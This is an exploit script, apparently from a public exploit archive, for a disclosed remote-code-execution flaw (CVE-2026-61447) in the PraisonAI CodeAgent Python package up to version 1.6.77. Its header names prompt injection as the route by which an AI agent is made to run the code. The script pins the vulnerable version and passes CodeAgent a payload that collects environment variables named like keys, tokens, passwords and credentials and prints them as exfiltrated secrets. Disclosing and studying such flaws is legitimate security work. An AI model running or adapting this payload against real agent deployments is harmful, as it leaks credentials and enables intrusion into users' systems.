#!/usr/bin/env python3
# Exploit Title: PraisonAI CodeAgent <= 1.6.77 Remote Code Execution (RCE) via Unsandboxed LLM Code Execution
# CVE: CVE-2026-61447
# Date: 2026-07-13
# Exploit Author: Mohammed Idrees Banyamer
# Author Country: Jordan
# Instagram: @banyamer_security
# Author GitHub: https://github.com/mbanyamer
# Author Blog : https://banyamersecurity.com/blog/
# Vendor Homepage: https://github.com/MervinPraison/PraisonAI
# Software Link: https://pypi.org/project/praisonaiagents/
# Affected: praisonaiagents <= 1.6.77
# Tested on: praisonaiagents 1.6.77
# Category: Remote Code Execution
# Platform: Linux / Windows / macOS
# Exploit Type: Python Script
# CVSS: 10.0 (Critical)
# Description: The CodeAgent._execute_python() in PraisonAI executes LLM-generated code without sandboxing, AST validation, or import restrictions. This allows full environment secret exfiltration and arbitrary code execution via prompt injection.
# Fixed in: praisonaiagents >= 1.6.78
# Usage:
# python3 exploit.py
#
# Examples:
# python3 exploit.py
#
# Options:
# --
#
# Notes:
# • Requires the vulnerable praisonaiagents package installed.
# • Demonstrates direct RCE and secret leakage.
#
# How to Use
#
# Step 1:
# pip install praisonaiagents==1.6.77
#
# Step 2:
# python3 exploit.py
def banner():
print(r"""
╔██████╗ █████╗ ███╗ ██╗██╗ ██╗ █████╗ ███╗ ███╗███████╗██████╗╗
║██╔══██╗██╔══██╗████╗ ██║╚██╗ ██╔╝██╔══██╗████╗ ████║██╔════╝██╔══██║
║██████╔╝███████║██╔██╗ ██║ ╚████╔╝ ███████║██╔████╔██║█████╗ ██████╔╝
║██╔══██╗██╔══██║██║╚██╗██║ ╚██╔╝ ██╔══██║██║╚██╔╝██║██╔══╝ ██╔══██╗
║██████╔╝██║ ██║██║ ╚████║ ██║ ██║ ██║██║ ╚═╝ ██║███████╗██║ ██║
╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═══╝ ╚═╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝
╔═╗ Banyamer Security ╔═╗
""")
banner()
from praisonaiagents.agent.code_agent import CodeAgent
import json
agent = CodeAgent(name="poc-agent")
malicious_code = """
import os
import json
secrets = {k: v for k, v in os.environ.items()
if any(keyword in k.upper() for keyword in
['KEY', 'SECRET', 'TOKEN', 'PASSWORD', 'CREDENTIAL', 'API', 'AUTH'])}
print("=== EXFILTRATED SECRETS ===")
print(json.dumps(secrets, indent=2))
"""
print("Executing malicious LLM-generated code...")
result = agent.execute(malicious_code)
print("\n=== Execution Result ===")
print("STDOUT:", result.get('stdout', ''))
print("STDERR:", result.get('stderr', ''))
print("Return Code:", result.get('returncode', ''))
